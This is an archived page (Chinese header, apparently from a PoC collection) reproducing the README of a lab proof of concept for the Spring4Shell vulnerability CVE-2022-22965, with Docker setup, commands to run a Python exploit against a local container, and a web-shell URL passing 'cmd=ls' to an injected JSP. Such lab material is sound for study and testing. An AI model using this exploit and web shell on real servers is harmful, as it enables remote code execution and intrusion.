POC详情: 9fd6f3d8ab9c477d39d8f36323b27e2d0fac8ebb

来源
关联漏洞
标题: Spring Framework 代码注入漏洞 (CVE-2022-22965)
描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
介绍

# :space_invader: CVE-2022-22965
This is a proof of concept of an exploit for [CVE-2022-22965 (spring4shell)](https://www.cve.org/CVERecord?id=CVE-2022-22965) vulnerability.
It is composed by:
* A vulnerable Springboot application;
* An exploit script written in python;
* A safe app for test that the exploit doesn't work;
* A dockerfile for running the vulnerable application and test the exploit;

# :wrench:Collaborators
* [:it:] [Mario Offertucci](https://github.com/mariomamo);
* [:it:] [Antonio Donnarumma](https://github.com/AnItalianMan).
# :gear: Prerequisites
* [Docker](https://www.docker.com/): It is used for running a tomcat container with the Springboot application;
* [Python](https://www.python.org/downloads/): It is used for running the exploit;

# :one: Running the Springboot application
Inside the project root folder there is a Dockerfile that creates a tomcat image and copies the ```vulnerable_app/target/spring4shell.war``` and ```safe_app/target/safeapp.war``` file inside ```/usr/local/tomcat/webapps``` folder, so you just have to build the image and start the container.
### Build the tomcat image
```bash
docker build -t cve_2022_22965 .
```

### Start the container
```bash
docker run -p 8080:8080 -d --name springshell cve_2022_22965
```
### Check if the application is responding
```bash
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
```
If you see this response
```bash
This is Elliot Alderson
```
Then the application is up and running.

# :two: Now you can run the exploit
```bash
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
```
You can optionally specify the injected jsp file name but it is not mandatory.
Example
```bash
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
```
If you don't specify a name a randome one will be generated.

You will see the following in the command shell
<img src="img-readme/shell.png"><br>
After the exploit you can send a command also via HTTP GET request

```bash
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
```
You have succesfully opened a shell on the victim machine! enjoy
文件快照

[4.0K] /data/pocs/9fd6f3d8ab9c477d39d8f36323b27e2d0fac8ebb ├── [4.0K] config_files │   ├── [1.6K] context.xml │   ├── [2.8K] tomcat-users.xml │   └── [7.1K] web.xml ├── [ 588] Dockerfile ├── [4.0K] exploits │   └── [9.8K] spring4shell.py ├── [4.0K] img-readme │   └── [ 45K] shell.png ├── [4.0K] Postman collection │   ├── [4.2K] CVE-2022-22965 (safe app).postman_collection.json │   └── [4.2K] CVE-2022-22965 (vulnerable app).postman_collection.json ├── [2.2K] README.md ├── [4.0K] safe_app │   ├── [ 10K] mvnw │   ├── [6.6K] mvnw.cmd │   ├── [1.6K] pom.xml │   ├── [ 16] README.md │   ├── [4.0K] src │   │   ├── [4.0K] main │   │   │   ├── [4.0K] java │   │   │   │   └── [4.0K] it │   │   │   │   └── [4.0K] unisa │   │   │   │   └── [4.0K] cve22965 │   │   │   │   ├── [ 769] CveTestApplication.java │   │   │   │   ├── [ 194] EvilPojo.java │   │   │   │   └── [ 591] WeakController.java │   │   │   └── [4.0K] resources │   │   │   ├── [ 16] application.properties │   │   │   └── [1.1K] banner.txt │   │   └── [4.0K] test │   │   └── [4.0K] java │   │   └── [4.0K] it │   │   └── [4.0K] unisa │   │   └── [4.0K] cve22965 │   │   └── [ 210] CveTestApplicationTests.java │   └── [4.0K] target │   └── [ 17M] safeapp.war └── [4.0K] vulnerable_app ├── [ 10K] mvnw ├── [6.6K] mvnw.cmd ├── [1.6K] pom.xml ├── [ 16] README.md ├── [4.0K] src │   ├── [4.0K] main │   │   ├── [4.0K] java │   │   │   └── [4.0K] it │   │   │   └── [4.0K] unisa │   │   │   └── [4.0K] cve22965 │   │   │   ├── [ 769] CveTestApplication.java │   │   │   ├── [ 194] EvilPojo.java │   │   │   └── [ 591] WeakController.java │   │   └── [4.0K] resources │   │   ├── [ 16] application.properties │   │   └── [1.1K] banner.txt │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] it │   └── [4.0K] unisa │   └── [4.0K] cve22965 │   └── [ 210] CveTestApplicationTests.java └── [4.0K] target └── [ 17M] spring4shell.war 32 directories, 31 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。